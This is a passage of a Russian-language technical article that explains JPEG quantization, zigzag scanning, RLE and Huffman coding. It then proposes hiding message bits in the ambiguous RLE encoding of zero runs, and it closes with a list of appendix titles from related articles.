    Эта матрица квантования опирается на "психовизуальный порог". Обычно присутствует одна таблица для Y, и другие для оттенка Cb и Cr. Здесь происходит удаление высоких частот, мы это делаем потому, что глаз более чувствителен к низким частотам. Это происходит при делении тех элементов матрицы, что находятся ближе к правому нижнему углу (они отвечают за высокие частоты) на бОльшие, а тех, что в левом верхнем углу - на меньшие значения. Больше величины в таблице квантования - больше потери (впоследствии визуальные потери) введенные этим процессом, и меньше – лучше визуальное качество.

    В результате этой операции в правом нижнем углу скопится много нулей, как изображено на следующем рисунке.

    Рис. 6. Результат деления на матрицу квантования
    Рис. 6. Результат деления на матрицу квантования
  7. Зигзаг-сканирование

    Преобразуем матрицу 8x8 в вектор из 64-х элементов следующим образом:

    Рис. 7. Зигзаг-сканирование
    Рис. 7. Зигзаг-сканирование

    После того, как мы прошли по зигзагу матрицу 8x8, мы имеем теперь вектор с 64 коэффициентами (0..63) Смысл этого зигзагообразного вектора – в том, что мы просматриваем коэффициенты в порядке повышения пространственных частот. Так мы получаем вектор, отсортированный критериями пространственной частоты.

  8. RLE – сжатие.

    На данный момент у нас есть вектор с большим количеством подряд идущих нулей в старших коэффициентах. Известно, что выгоднее просто записать вместо этого сначала некоторую метку, а потом только количество этих одинаковых байтов (в нашем случае не нужно конкретизировать какой именно байт – так как заранее известно, что это 0) Например, вместо -1,1,-1,2,0,0,0,0,0,0 можно написать: -1,1,-1,2,[escape-символ],6

  9. Кодирование Хаффмана

    Наконец, полученное сжимается по Хаффману (RLE и сжатие по Хаффману - алгоритмы сжатия без потерь). Я не буду вообще останавливаться на этом месте – в Интернете на эту тему можно массу всего найти. Ну а итог уже записывается в файл вместе с заголовком, определяющим различные параметры, длину изображения и прочее, и прочее…

Финал-апофеоз водобачкового инструмента

Теперь вспомним, что тема этой статьи все же стеганография – то есть скрытие информации и попытаемся понять – куда же тут можно встроиться? Понятно, что бесполезно встраивать информацию до квантования – так как оно осуществляет те самые потери, которых нам нужно избежать – ведь сообщение должно быть передано без искажений! Также представляется очевидным, что нельзя изменять данные, уже в сжатой форме – ведь разжатие может оказаться непредсказуемым. Казалось бы, остается только изменение данных непосредственно перед RLE-кодированием – что может привести к сильным потерям – ведь там уже не просто компоненты смешения RGB как было в bmp, либо ухудшению качества сжатия – если некоторые нули превращать, скажем, в единицы – разбивая тем самым последовательности нулей на части.

Я же предлагаю воспользоваться предоставляемой возможностью из-за ограничений, накладываемых алгоритмом Хаффмана, сжать одну и ту же информацию при помощи RLE разными вариантами. Дело в том, что на самом деле в JPEG используется несколько другая форма сжатия RLE. Допустим, мы имеем 57,45,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,23,0,30,0,0,0,0,0,0,…,0 (Здесь между 45 и 23 идет 17 нулей)

Для этого примера сжатие будет выглядеть вот так: (0,57); (0,45); (17,23); (1,30); [маркер]
Как видите, мы кодируем для каждой величины количество последовательных ПРЕДШЕСТВУЮЩИХ нулей перед величиной, затем мы добавляем величину. А маркер символизирует, что оставшиеся до конца числа – нули. Ну а сжатие Хаффмана накладывает такое ограничение: число предшествующих нулей должно кодироваться как 4-битовая величина - не может превысить 15. Так, предшествующий пример должен быть закодирован как:

    (0,57); (0,45); (15,0); (1,23); (1,30) (забудем сейчас про маркер - нам он сейчас не важен)
А теперь ключевой момент: ведь то же самое можно закодировать иначе:
    (0,57); (0,45); (14,0); (2,23); (1,30) или
    (0,57); (0,45); (13,0); (3,23); (1,30)

Вот эту неоднозначность я и предлагаю использовать для скрытия. Простейшая мысль, которая приходит в голову. Помещая очередной бит сообщения, при встрече подобной неоднозначности, если мы хотим поместить 0, то оставляем …, (15,0), (2,3), … если хотим 1 – то "перетаскиваем" единичку в следующий элемент (если это возможно – ведь там может оказаться тоже (15,0)).

Проблема, которая видна при реализации такой идеи – нет уверенности, что все программы для просмотра jpeg формата способны правильно интерпретировать такую замену – возможно в них существует проверка, что если идут подряд 2 таких элемента, описывающих подряд идущие нули – то в первом должно быть всегда 15. Но это требует всего лишь проверки. Что я и предлагаю вам осуществить.

На эту тему можно писать еще долго, очень интересны вопросы применения нейросетей в стеганографии и многое другое, но эта статья заканчивается, всем дочитавшим спасибо и удачи! Рад буду всем отзывам и предложениям.

Полезные ссылки

К сожалению, статья писалась по материалам, найденным давно, поэтому сейчас точно помню только то, что сильно мне помогла http://wikipedia.org, хотя было и множество других материалов.


Приложения

  1. Исходный текст программы из статьи "Breaking Da CAPTCHA"
  2. Исходный текст модуля для ядра ОС Linux 2.6.12 из статьи "Встраивание в TCP/IP стек в ОС GNU/Linux"
  3. Исходный текст модуля для ядра ОС Linux 2.6.18 из статьи "Встраивание в TCP/IP стек в ОС GNU/Linux"
  4. Пример шеллкода из статьи "Создание канала связи при удаленном эксплоитинге"
  5. Исходный текст программы по скрытию данных в файлах bmp из статьи "Стеганография. Скрытие информации в изображениях "